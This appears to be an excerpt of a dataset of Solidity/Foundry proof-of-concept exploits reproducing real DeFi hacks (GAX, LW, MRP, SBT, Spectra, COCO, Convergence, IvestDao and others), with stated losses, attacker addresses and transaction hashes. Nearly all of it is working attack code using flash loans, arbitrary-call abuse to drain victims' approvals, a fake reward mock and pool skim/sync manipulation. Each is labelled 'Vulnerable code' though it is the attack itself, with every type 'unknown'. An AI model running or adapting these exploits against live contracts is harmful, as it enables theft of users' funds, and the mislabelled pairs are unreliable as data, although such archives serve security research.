Farseen0/scar-pairs huggingface dataset:
HIGH severity: GAX exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~50k $BUSD Attacker : https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123 Attack Contract : https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e Created Attack Contract: https://bscscan.com/address/0xa90

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~50k $BUSD
// Attacker : https://bscscan.com/address/0x8ccf2860f38fc2f4a56dec897c8c976503fcb123
// Attack Contract : https://bscscan.com/address/0x64b9d294cd918204d1ee6bce283edb49302ddf7e
// Created Attack Contract: https://bscscan.com/address/0xa901FDA83E9906e6177f3A3f7B85f13f68723326
// Vulnerable Contract : https://bscscan.com/address/0xdb4b73df2f6de4afcd3a883efe8b7a4b0763822b
// Attack Tx : https://bscscan.com/tx/0x368f842e79a10bb163d98353711be58431a7cd06098d6f4b6cbbcd4c77b53108

import "forge-std/Test.sol";
import "./../interface.sol";

contract ContractTest is Test {
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 GAX = IERC20(0xD5d63074A39Bc0202E828B044C02c6F4d2f75c76);
    address VulnContract_addr = 0xdb4b73Df2F6dE4AFCd3A883efE8b7a4B0763822b;

    function setUp() public {
        vm.createSelectFork("bsc", 40_375_925 - 1);
        vm.label(address(BUSD), "BUSD");
        vm.label(address(GAX), "GAX");
        vm.label(address(VulnContract_addr), "VulnContract");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);
        bytes memory data = abi.encode(0, BUSD.balanceOf(address(VulnContract_addr)), 0);
        VulnContract_addr.call(abi.encodeWithSelector(bytes4(0x6c99d7c8), data));
        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: LW exploit (unknown). @KeyInfo -- Total Lost : ~7K USD TX : https://app.blocksec.com/explorer/tx/bsc/0x96a955304fed48a8fbfb1396ec7658e7dc42b7c140298b80ce4206df34f40e8d Attacker : https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06 Attack Contract : https://bscscan.com/address/0xfe7e9c76affdba7b7442adac

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~7K USD
// TX : https://app.blocksec.com/explorer/tx/bsc/0x96a955304fed48a8fbfb1396ec7658e7dc42b7c140298b80ce4206df34f40e8d
// Attacker : https://bscscan.com/address/0x56b2d55457b31fb4b78ebddd6718ea2667804a06
// Attack Contract : https://bscscan.com/address/0xfe7e9c76affdba7b7442adaca9c7c059ec3092fc
// Created Attack Contract: https://bscscan.com/address/0x0496824589CD3758119F74560E4Fa970e6dff104
 

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);
    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    address Hackcontract;

    function setUp() external {
        cheats.createSelectFork("bsc", 40_287_544);
        deal(address(BUSDT), address(this), 0);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker BUSDT before exploit", BUSDT.balanceOf(address(this)), 18);
        Money Hackcontract = new Money();
        emit log_named_decimal_uint("[End] Attacker BUSDT after exploit", BUSDT.balanceOf(address(this)), 18);
    }
}

contract Money is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IPancakePair Pair = IPancakePair(0x88fF4f62A75733C0f5afe58672121568a680DE84);
    IERC20 Lw = IERC20(0xABC6e5a63689b8542dbDC4b4f39a7e00d4AC30c8);
    IERC20 BUSDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
    address owner;

    constructor() {
        owner = msg.sender;
        Attack();
    }

    function Attack() public {
        Lw.transferFrom(address(Lw), address(this), 1_000_000_000_000_000_000_000_000_000_000_000);
        uint256 i = 0;
        while (i < 9999) {
            swap_token_to_token(address(Lw), address(BUSDT), 800_000_000 ether);
            i++;
        }
        BUSDT.transfer(msg.sender, BUSDT.balanceOf(address(this)));
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }
}


Vulnerability type: unknown
HIGH severity: MRP exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~17 BNB TX : https://app.blocksec.com/explorer/tx/bsc/0x4353a6d37e95a0844f511f0ea9300ef3081130b24f0cf7a4bd1cae26ec393101 Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138 Attack Contract : https://bscscan.co

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~17 BNB
// TX : https://app.blocksec.com/explorer/tx/bsc/0x4353a6d37e95a0844f511f0ea9300ef3081130b24f0cf7a4bd1cae26ec393101
// Attacker : https://bscscan.com/address/0x132d9bbdbe718365af6cc9e43bac109a9a53b138
// Attack Contract : https://bscscan.com/address/0x2bd8980a925e6f5a910be8cc0ad1cff663e62d9d
 

contract Exploit is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 WMRP = IERC20(0x35F5cEf517317694DF8c50C894080caA8c92AF7D);
    IERC20 MRP = IERC20(0xA0Ba9d82014B33137B195b5753F3BC8Bf15700a3);

    function setUp() public {
        cheats.createSelectFork("bsc", 40_122_169);
    }

    function testExploit() public {
        emit log_named_decimal_uint("[Begin] Attacker BNB before exploit", address(this).balance, 18);
        attack();
        emit log_named_decimal_uint("[End] Attacker BNB after exploit", address(this).balance, 18);
    }

    function attack() public {
        address(WMRP).call{value: 43.14 ether}("");
        WMRP.transfer(address(WMRP), 0);
        MRP.transfer(address(WMRP), MRP.balanceOf(address(this)));
        address(WMRP).call{value: 58 ether}("");
        WMRP.transfer(address(this), 0);
        MRP.transfer(address(WMRP), 1268 ether);
        WMRP.transfer(address(WMRP), 0);
        emit log_named_decimal_uint("attacker MRP balance :", MRP.balanceOf(address(this)), MRP.decimals());
        require(MRP.balanceOf(address(this)) >= 6000 ether, "The attack is invalid.");
        uint256 Transferamount = MRP.balanceOf(address(this)) / 20;
        uint256 i = 0;
        while (i < 20) {
            MRP.transfer(address(MRP), Transferamount);
            i++;
        }
    }

    fallback() external payable {
        if (msg.value > 50 ether && msg.value < 100 ether) {
            address(WMRP).call{value: 58 ether}("");
        }
    }

    function on314Swaper() public returns (bytes4) {
        bytes4 selector = bytes4(msg.data);
        if (selector == 0x1457b0ed) {
            return 0x0000000;
        }
        revert("no such function");
    }
}


Vulnerability type: unknown
HIGH severity: SBT exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~56K BUSD TX : https://app.blocksec.com/explorer/tx/bsc/0x9a8c4c4edb7a76ecfa935780124c409f83a08d15c560bb67302182f8969be20d Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32 Attack Contract : https://bscscan.c

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~56K BUSD
// TX : https://app.blocksec.com/explorer/tx/bsc/0x9a8c4c4edb7a76ecfa935780124c409f83a08d15c560bb67302182f8969be20d
// Attacker : https://bscscan.com/address/0x3026c464d3bd6ef0ced0d49e80f171b58176ce32
// Attack Contract : https://bscscan.com/address/0x88f9e1799465655f0dd206093dbd08922a1d9e28
 

import "forge-std/Test.sol";
import "./../interface.sol";

interface Smartbank {
    function _Start() external;
    function Buy_SBT(
        uint256 _SBT_
    ) external;
    function Loan_Get(
        uint256 USDT_
    ) external;
}

contract ContractTest is Test {
    IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);
    IERC20 SBT = IERC20(0x94441698165fB7e132e207800B3eA57E34c93a72);
    Smartbank Bank = Smartbank(0x2b45DD1d909c01aAd96fa6b67108D691B432f351);
    Uni_Pair_V3 Pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);

    function setUp() public {
        vm.createSelectFork("bsc", 40_378_160 - 1);
        deal(address(BUSD), address(this), 1 ether);
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker BUSD balance before attack", BUSD.balanceOf(address(this)), 18);
        Pool.flash(address(this), 1_950_000 ether, 0, "0x123");
        emit log_named_decimal_uint("Attacker BUSD balance after attack", BUSD.balanceOf(address(this)), 18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {
        BUSD.approve(address(Bank), type(uint256).max);
        BUSD.transfer(address(Bank), 950_000 ether);
        SBT.approve(address(Bank), type(uint256).max);
        Bank._Start();
        Bank.Buy_SBT(20_000_000);
        Bank.Loan_Get(1_966_930);

        BUSD.transfer(address(Pool), 1_950_000 ether + fee0);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Spectra_finance exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~73K USD TX : https://app.blocksec.com/explorer/tx/eth/0x491cf8b2a5753fdbf3096b42e0a16bc109b957dc112d6537b1ed306e483d0744 Attacker : https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c Attack Contract : https://ethersca

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~73K USD
// TX : https://app.blocksec.com/explorer/tx/eth/0x491cf8b2a5753fdbf3096b42e0a16bc109b957dc112d6537b1ed306e483d0744
// Attacker : https://etherscan.io/address/0x53635bf7b92b9512f6de0eb7450b26d5d1ad9a4c
// Attack Contract : https://etherscan.io/address/0xba8ce86147ded54c0879c9a954f9754a472704aa
// GUY : https://x.com/shoucccc/status/1815981585637990899

contract ContractTest is Test {
    address public VulnContract = 0x3d20601ac0Ba9CAE4564dDf7870825c505B69F1a;
    address victim = 0x279a7DBFaE376427FFac52fcb0883147D42165FF;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 asdCRV = IERC20(0x43E54C2E7b3e294De3A155785F52AB49d87B9922);

    function setUp() public {
        vm.createSelectFork("mainnet", 20_369_956);
    }

    function testExploit() external {
        emit log_named_decimal_uint(
            "[Begin] Attacker asdCRV balance before exploit", asdCRV.balanceOf(address(this)), asdCRV.decimals()
        );
        attack();
        emit log_named_decimal_uint(
            "[End] Attacker asdCRV balance after exploit", asdCRV.balanceOf(address(this)), asdCRV.decimals()
        );
    }

    function attack() public {
        bytes memory datas = abi.encode(
            address(asdCRV),
            address(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE),
            0,
            address(this),
            1,
            abi.encodeWithSelector(
                bytes4(0x23b872dd), address(victim), address(this), asdCRV.balanceOf(address(victim))
            )
        );
        bytes memory command = hex"12";
        bytes[] memory data = new bytes[](1);
        data[0] = datas;
        address(VulnContract).call(abi.encodeWithSelector(bytes4(0x3593564c), command, data, block.timestamp + 20));
    }

    fallback() external payable {}
}


Vulnerability type: unknown
HIGH severity: UnverifiedContr_0x452E25 exploit (unknown). This contract is not verified @KeyInfo - Total Lost : ~27 ETH TX : https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b Attacker : https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e Attack Contract : https://etherscan.io/address/0x27b2784277

Vulnerable code:
// This contract is not verified
import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo - Total Lost : ~27 ETH
// TX : https://etherscan.io/tx/0x1194e1d6085885ce054a7ff8cd3cd0c3fa308ec87e4ccde8dd0549842fef4f1b
// Attacker : https://etherscan.io/address/0xabee16e74dd268105f166c27a847edc2b8e7cc4e
// Attack Contract : https://etherscan.io/address/0x27b27842771df79af6a69795f6fca0948c8333c0
// GUY : https://x.com/SlowMist_Team/status/1808334870650970514

interface IVictime {
    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes memory data) external;
}

contract XXXExploit is Test {
    address victime_ = address(0x452E253EeB3Bb16e40337D647c01b6c910Aa84B3);
    IERC20 weth_ = IERC20(payable(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)));

    function setUp() public {
        vm.createSelectFork("mainnet", 20_223_094);
    }

    function testExploit() public {
        bytes memory data = abi.encode(bool(true), address(weth_));
        IVictime(victime_).uniswapV3SwapCallback(27_349_000_000_000_000_000, 27_349_000_000_000_000_000, data);
        emit log_named_decimal_uint("profit = ", weth_.balanceOf(address(this)), 18);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: COCO exploit (unknown). @KeyInfo - Total Lost : 280BNB Attacker : https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2 Attack Contract : https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea, https://bscscan.com/address/0xb4d13acf8c4ef796bdc761129c31bc67130301cf Vulnerable Contract : Atta

Vulnerable code:
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// @KeyInfo - Total Lost : 280BNB
// Attacker : https://bscscan.com/address/0x0cc28b80d21ebe7b3f3320faa059f163e98a55a2
// Attack Contract : https://bscscan.com/address/0xac4fde96cf96c5f776de7ec5528cde60f6e8dbea, https://bscscan.com/address/0xb4d13acf8c4ef796bdc761129c31bc67130301cf
// Vulnerable Contract : 
// Attack Tx : https://app.blocksec.com/explorer/tx/bsc/0x7b743f0fa0ffc6542bc4132405f6c986a00187b6a8b23613ab98c8bcfe9fd875

// @Info
// Vulnerable Contract Code : 

// @Analysis
// Post-mortem : https://x.com/TenArmorAlert/status/1826101724278579639
// Twitter Guy : https://x.com/TenArmorAlert/status/1826101724278579639
// Hacking God : N/A

address constant bsc_usd = 0x55d398326f99059fF775485246999027B3197955;
address constant attacker = 0x0cc28b80D21eBe7b3f3320FAA059f163E98A55a2;
address constant addr = 0x51057dB447A6834c8FC4E9541db9c04304eF81D7;
address constant cake_lp = 0xF31cb18759FE8356348c81268b859d2a32bf2117;

contract ContractTest is Test {
    function setUp() public {
        vm.createSelectFork("bsc", 41529776);
    }
    
    function testPoC() public {
        vm.startPrank(attacker, attacker);
        AttackerC attC = new AttackerC();
        vm.stopPrank();

        vm.startPrank(addr);
        IERC20(bsc_usd).approve(address(attC), type(uint256).max);
        vm.stopPrank();

        vm.startPrank(attacker, attacker);
        attC.attack();
        emit log_named_decimal_uint("after attack: balance of address(attC)", IERC20(0xF563E86e461dE100CfCfD8b65dAA542d3d4B0550).balanceOf(address(attC)), 18);
    }
}

contract AttackerC {
    fallback() external payable {}

    function attack() public {
        IERC20(bsc_usd).transferFrom(addr, cake_lp, 2212640000000000000000);
        IPancakePair(cake_lp).swap(
            0,
            3639118756532953773112984,
            address(this),
            ""
        );
    }
}

Vulnerability type: unknown
HIGH severity: Convergence exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo -- Total Lost : ~200k USD TX : https://etherscan.io/tx/0x636be30e58acce0629b2bf975b5c3133840cd7d41ffc3b903720c528f01c65d9 Original Attacker: https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa Original Attack Contract : https://ethersc

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @KeyInfo -- Total Lost : ~200k USD
// TX : https://etherscan.io/tx/0x636be30e58acce0629b2bf975b5c3133840cd7d41ffc3b903720c528f01c65d9
// Original Attacker: https://etherscan.io/address/0x03560a9d7a2c391fb1a087c33650037ae30de3aa
// Original Attack Contract : https://etherscan.io/address/0xee45384d4861b6fb422dfa03fbdcc6e29d7beb69
// GUY : https://x.com/DecurityHQ/status/1819030089012527510

interface ICommonStruct {
    struct TokenAmount {
        IERC20 token;
        uint256 amount;
    }
}

interface ICvxStakingPositionService {
    function claimCvgCvxMultiple(
        address account
    ) external returns (uint256, ICommonStruct.TokenAmount[] memory);
}

interface ICvxRewardDistributor {
    function claimMultipleStaking(
        ICvxStakingPositionService[] calldata claimContracts,
        address _account,
        uint256 _minCvgCvxAmountOut,
        bool _isConvert,
        uint256 cvxRewardCount
    ) external;
}

interface ICurveTwocryptoOptimized {
    function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy, address receiver) external returns (uint256);
}

contract ContractTest is Test {
    ICvxRewardDistributor cvxRewardDistributor = ICvxRewardDistributor(0x2b083beaaC310CC5E190B1d2507038CcB03E7606);
    IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);
    ICurveTwocryptoOptimized CVGETH = ICurveTwocryptoOptimized(0x004C167d27ADa24305b76D80762997Fa6EB8d9B2);
    ICurveTwocryptoOptimized CVGFRAX = ICurveTwocryptoOptimized(0xa7B0E924c2dBB9B4F576CCE96ac80657E42c3e42);

    function setUp() public {
        vm.createSelectFork("mainnet", 20_434_450 - 1);
    }

    function testExploit() external {
        Mock mock = new Mock();

        ICvxStakingPositionService[] memory claimContracts = new ICvxStakingPositionService[](1);
        claimContracts[0] = ICvxStakingPositionService(address(mock));

        CVG.totalSupply();

        cvxRewardDistributor.claimMultipleStaking(claimContracts, address(this), 1, true, 1);

        uint256 cvg_bal = CVG.balanceOf(address(this));

        emit log_named_decimal_uint("[End] Attacker CVG balance after exploit", cvg_bal, 18);
    }

    receive() external payable {}
}

contract Mock {
    IERC20 CVG = IERC20(0x97efFB790f2fbB701D88f89DB4521348A2B77be8);

    function claimCvgCvxMultiple(
        address account
    ) external returns (uint256, ICommonStruct.TokenAmount[] memory) {
        ICommonStruct.TokenAmount[] memory tokenAmount = new ICommonStruct.TokenAmount[](0);

        return (type(uint256).max - CVG.totalSupply(), tokenAmount);
    }
}


Vulnerability type: unknown
HIGH severity: IvestDao exploit (unknown). SPDX-License-Identifier: UNLICENSED TX : https://app.blocksec.com/explorer/tx/bsc/0x12f27e81e54684146ec50973ea94881c535887c2e2f30911b3402a55d67d121d GUY : https://x.com/AnciliaInc/status/1822870201698050064 Profit : ~ 338 WBNB REASON : Business logic flaw

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "../interface.sol";

// TX : https://app.blocksec.com/explorer/tx/bsc/0x12f27e81e54684146ec50973ea94881c535887c2e2f30911b3402a55d67d121d
// GUY : https://x.com/AnciliaInc/status/1822870201698050064
// Profit : ~ 338 WBNB
// REASON : Business logic flaw

contract ContractTest is Test {
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    IERC20 iVest = IERC20(0x786fCF76dC44B29845f284B81f5680b6c47302c6);
    Uni_Pair_V3 pool = Uni_Pair_V3(0x36696169C63e42cd08ce11f5deeBbCeBae652050);
    Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 constant iVest_pair = Uni_Pair_V2(0x2607118D363789f841d952f02e359BFa483955f9);
    uint256 borrow_amount;

    function setUp() external {
        cheats.createSelectFork("bsc", 41_289_497);
    }

    function testExploit() external {
        emit log_named_decimal_uint("[Begin] Attacker WBNB before exploit", WBNB.balanceOf(address(this)), 18);
        borrow_amount = 1200 ether;
        pool.flash(address(this), 0, borrow_amount, "");
        emit log_named_decimal_uint("[End] Attacker WBNB after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {
        uint256 i = 0;
        while (i < 30) {
            swap_token_to_token(address(WBNB), address(iVest), 40 ether);
            i++;
        }
        i = 0;
        while (i < 3) {
            iVest.transfer(address(iVest_pair), 100_000_000_000);
            iVest_pair.skim(address(0));
            iVest_pair.sync();
            i++;
        }
        iVest.transfer(address(iVest_pair), 13_520_128_050);
        iVest_pair.skim(address(0));
        iVest_pair.sync();
        //whale fee here,need some calculate.Swap all remain token will lead to error.may be the contract
        //will use more token than you transfer.
        swap_token_to_token(address(iVest), address(WBNB), 30_820_994_590);
        WBNB.transfer(address(pool), borrow_amount + fee1);
    }

    function swap_token_to_token(address a, address b, uint256 amount) internal {
        IERC20(a).approve(address(router), amount);
        address[] memory path = new address[](2);
        path[0] = address(a);
        path[1] = address(b);
        router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    receive() external payable {
        // payable(address(MARS)).transfer(address(this).balance);
    }
}


Vulnerability type: unknown